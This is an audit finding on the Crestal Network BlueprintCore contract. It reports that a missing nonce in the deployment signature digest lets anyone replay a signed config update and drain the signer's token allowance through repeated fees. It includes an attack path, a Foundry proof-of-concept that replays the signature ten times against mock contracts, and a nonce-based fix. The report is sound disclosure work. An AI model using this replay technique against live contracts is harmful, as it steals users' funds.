Funny Sepia Buffalo

High

# [H-02] - Missing nonce in `getRequestDeploymentDigest` allows signature replay

### Summary

Lack of replay protection in `updateWorkerDeploymentConfigWithSig` (or altnernatively in `getRequestDeploymentDigest` which is missing a nonce) will cause a significant loss of funds for a user who pays a fee to update his agent, as an attacker will repeatedly reuse the victim's valid signature to drain the victim's token balance via unauthorized fee payments.


### Root Cause

In the `updateWorkerDeploymentConfigWithSig` function of the `BlueprintCore` contract, the signature is verified but there is no check to ensure it hasn’t been used before (i.e. a nonce-check). This absence of replay protection allows the same signature to be reused multiple times, triggering repeated fee deductions from the (agent) deployment owner’s token balance.


### Internal Pre-conditions

1. The user needs set the `BlueprintCore` contract’s allowance to be larger than the update agent fee. The user may be unaware of risk and allow max balance
2. The user uses a signature to pay for the updating of his agent at least once
3. Admin has set `paymentOpCostMp` (cost to upgrade an agent) to be a non-zero value (e.g. 100 USDC) for the `"update_agent"` operation
4. Admin has whitelisted at least 1 payment token (e.g. USDC)

### External Pre-conditions

- None. The attack does not depend on changes in external protocols or specific blockchain conditions.


### Attack Path

1. User calls `updateWorkerDeploymentConfigWithSig` with a valid signature to update the worker deployment configuration, paying the required fee (e.g. 100 USDC).
2. Attacker monitors the blockchain and captures the signature from the legitimate transaction.
3. Attacker calls `updateWorkerDeploymentConfigWithSig` using the captured signature from their own address.
4. The contract verifies the signature as valid (since it was signed by the deployment owner) and deducts the fee (e.g. 100 USDC) from the deployment owner’s token balance again.
5. Attacker repeats steps 3–4 multiple times, each time causing an additional fee deduction, up to the total approved allowance (e.g. 1000 USDC).

### Impact

The user suffers an approximate loss of 100 USDC per replay, up to the total approved allowance (e.g. 1000 USDC total). The attacker gains nothing directly but drains the user’s funds through unauthorized transfers.


### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console} from "forge-std/Test.sol";
import {BlueprintCore} from "../src/BlueprintCore.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


// Mock USDC as a payment token
contract MockUSDC is ERC20 {
    constructor() ERC20("MockUSDC", "MockUSDC") {}
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

// Minor extension so we can set the cost for updating an agent
// -- In a real scenario the team will have decided on this cost -- attacker does not need to set or know the cost
contract BlueprintCoreWithCostSetter is BlueprintCore {
    function setPaymentOpCost(address token, string memory op, uint256 cost) external {
        paymentOpCostMp[token][op] = cost;
    }
}

contract UpdateWorkerConfigSigReplayAttack is Test {
    BlueprintCoreWithCostSetter public blueprintCore;
    MockUSDC public mockUSDC;
    uint256 public constant USDC_DECIMALS = 1e6;

    // Test (victim) signer private key and address
    uint256 public victimSignerPrivateKey = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;
    address public victimSigner;

    // Test parameters to make the request
    bytes32 public projectId = keccak256("project");
    string public initialBase64Config = "initialConfig";
    string public updatedBase64Config = "updatedConfig";
    address public feeCollectionWallet = address(0x3);
    address public privateWorkerAddress = address(0x4);
    
    // We will store the generated request ID
    bytes32 public generatedRequestID;

    function setUp() public {
        // Deploy contracts
        blueprintCore = new BlueprintCoreWithCostSetter();
        mockUSDC = new MockUSDC();
        victimSigner = vm.addr(victimSignerPrivateKey);

        // Let victim have 1000 USDC
        mockUSDC.mint(victimSigner, 1000 * USDC_DECIMALS);

        // Simulate victim approving the contract to spend max balance (only approving, not spending)
        vm.prank(victimSigner);
        mockUSDC.approve(address(blueprintCore), 1000 * USDC_DECIMALS);

        // Configure payment settings
        vm.startPrank(address(this));

        // Simulate setting USDC is whitelisted to 'true' -- paymentAddressEnableMp[mockUSDC] = true (slot 25)
        bytes32 enableSlot = keccak256(abi.encode(address(mockUSDC), uint256(25)));
        vm.store(address(blueprintCore), enableSlot, bytes32(uint256(1)));

        // Simulate adding USDC to the whitelisted payment tokens array -- paymentAddressesMp["payment_key"].push(mockUSDC) (slot 24)
        bytes32 keySlot = keccak256(abi.encode("payment_key", uint256(24)));
        bytes32 arrayStart = keccak256(abi.encode(keySlot));
        vm.store(address(blueprintCore), keySlot, bytes32(uint256(1)));
        vm.store(address(blueprintCore), arrayStart, bytes32(uint256(uint160(address(mockUSDC)))));

        // Simulate setting the cost of updating an agent to 100 USDC
        blueprintCore.setPaymentOpCost(address(mockUSDC), "update_agent", 100 * USDC_DECIMALS);

        // Simulate setting the feeCollectionWalletAddress -- (slot 23)
        vm.store(address(blueprintCore), bytes32(uint256(23)), bytes32(uint256(uint160(feeCollectionWallet))));
        vm.stopPrank();

        // Victim decides to create an agent
        vm.prank(victimSigner);
        generatedRequestID = blueprintCore.createAgentWithToken(
            projectId,
            initialBase64Config,
            privateWorkerAddress,
            "app.crestal.network",
            address(mockUSDC)
        );

        // Simulate worker submitting proof
        vm.prank(privateWorkerAddress);
        blueprintCore.submitProofOfDeployment(projectId, generatedRequestID, "proofBase64");
    }

    function testSignatureReplay() public {
        // Generate digest and signature for the legitimate call by the victim
        bytes32 digest = blueprintCore.getRequestDeploymentDigest(projectId, updatedBase64Config, "app.crestal.network");
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(victimSignerPrivateKey, digest);
        bytes memory signature = abi.encodePacked(r, s, v);

        // First call: Legitimate call by the owner where he updates the config and pays the fee
        vm.prank(victimSigner);
        blueprintCore.updateWorkerDeploymentConfigWithSig(
            address(mockUSDC),
            projectId,
            generatedRequestID,
            updatedBase64Config,
            signature
        );
        (BlueprintCore.Status statusAfterFirstCall, ) = blueprintCore.requestDeploymentStatus(generatedRequestID);
        assertEq(uint256(statusAfterFirstCall), uint256(BlueprintCore.Status.Pickup));
        assertEq(mockUSDC.balanceOf(victimSigner), 900 * USDC_DECIMALS, "Fee should be paid in first call"); // Victim pays 100 USDC fee
        assertEq(mockUSDC.balanceOf(feeCollectionWallet), 100 * USDC_DECIMALS, "Fee should be paid in first call"); // to feeCollectionWallet

        // -- Second call: Attempt replay by an attacker -- //
        vm.prank(address(0xdeadbeef));
        blueprintCore.updateWorkerDeploymentConfigWithSig(
            address(mockUSDC),
            projectId,
            generatedRequestID,
            updatedBase64Config,
            signature
        );
        (BlueprintCore.Status statusAfterReplay, ) = blueprintCore.requestDeploymentStatus(generatedRequestID);
        assertEq(uint256(statusAfterReplay), uint256(BlueprintCore.Status.Pickup));
        // Attacker just let the victim pay the fee a 2nd time
        assertEq(mockUSDC.balanceOf(victimSigner), 800 * USDC_DECIMALS);
        assertEq(mockUSDC.balanceOf(feeCollectionWallet), 200 * USDC_DECIMALS);


        // -- Can the attacker just keep replaying the sig to drain the signer's balance?? -- //
        vm.prank(address(0xdeadbeef));
        for (int i = 0; i < 8; i++) { // Let's try 8 more times //
            blueprintCore.updateWorkerDeploymentConfigWithSig(
                address(mockUSDC),
                projectId,
                generatedRequestID,
                updatedBase64Config,
                signature
            );

            (BlueprintCore.Status statusAfterReplayIter, ) = blueprintCore.requestDeploymentStatus(generatedRequestID);
            assertEq(uint256(statusAfterReplayIter), uint256(BlueprintCore.Status.Pickup));

        }

        // Lets check if we just let the victim pay the fee 10 times instead of once
        assertEq(mockUSDC.balanceOf(victimSigner), 0);
        assertEq(mockUSDC.balanceOf(feeCollectionWallet), 1000 * USDC_DECIMALS);

        console.log("Signature replay successful: Attacker reused signature and let the victim pay the fee 10 times instead of once");

        // ---------------------------------------------------------------------- //
        // -- This attack could have been avoided by adding a nonce to the sig -- //
        // ----------       To check if the sig has been used       ------------- //
        // ---------------------------------------------------------------------- //
    }
}
```

### Mitigation

The most effective way to mitigate this issue, is to solve it at the root. This way we don't risk fixing the problem at one area of the code, and leaving another part of the code vulnerable to signature replay attacks.

The `digest` for both a proposal and a deployment is computed in functions inside the inherited `EIP712` contract.

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/EIP712.sol#L19C1-L45C6


![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/cecf64ff-c84e-4f5a-8f1d-ce6668aa9524)

-----------------------------
And so the best fix would be to update these functions inside `EIP712` like so:
```diff

-    function getRequestProposalDigest(bytes32 projectId, string memory base64RecParam, string memory serverURL)
+    function getRequestProposalDigest(bytes32 projectId, string memory base64RecParam, string memory serverURL, uint256 nonce)

        public
        view
        returns (bytes32)
    {
        bytes32 structHash = keccak256(
            abi.encode(
-                PROPOSAL_REQUEST_TYPEHASH, projectId, keccak256(bytes(base64RecParam)), keccak256(bytes(serverURL))
+                PROPOSAL_REQUEST_TYPEHASH, projectId, keccak256(bytes(base64RecParam)), keccak256(bytes(serverURL)), nonce 
            )
        );

        return _hashTypedDataV4(structHash);
    }



-    function getRequestDeploymentDigest(bytes32 projectId, string memory base64RecParam, string memory serverURL)
+    function getRequestDeploymentDigest(bytes32 projectId, string memory base64RecParam, string memory serverURL, uint256 nonce)

        public
        view
        returns (bytes32)
    {
        bytes32 structHash = keccak256(
            abi.encode(
-                DEPLOYMENT_REQUEST_TYPEHASH, projectId, keccak256(bytes(base64RecParam)), keccak256(bytes(serverURL))
+                DEPLOYMENT_REQUEST_TYPEHASH, projectId, keccak256(bytes(base64RecParam)), keccak256(bytes(serverURL)), nonce
            )
        );

        return _hashTypedDataV4(structHash);
    }

```

Now for parent contracts making use of these functions:
- To ensure a signature can’t be replayed, the contract must track the nonce for each signer. Add a mapping to store the next expected nonce per address

```solidity
mapping(address => uint256) public nonces;
```

Example usage:
```solidity
    function updateWorkerDeploymentConfigWithSig(
        address tokenAddress,
        bytes32 projectId,
        bytes32 requestID,
        string memory updatedBase64Config,
        uint256 nonce,
        bytes memory signature
    ) public {
        bytes32 digest = getRequestDeploymentDigest(projectId, updatedBase64Config, "app.crestal.network", nonce);
        address signerAddr = getSignerAddress(digest, signature);
        require(nonce == nonces[signerAddr], "Invalid nonce"); // Make sure the nonce matches the expected nonce
        updateWorkerDeploymentConfigCommon(tokenAddress, signerAddr, projectId, requestID, updatedBase64Config);
        nonces[signerAddr]++; // Increment nonce to prevent replays
        // Function logic ...
    }
```
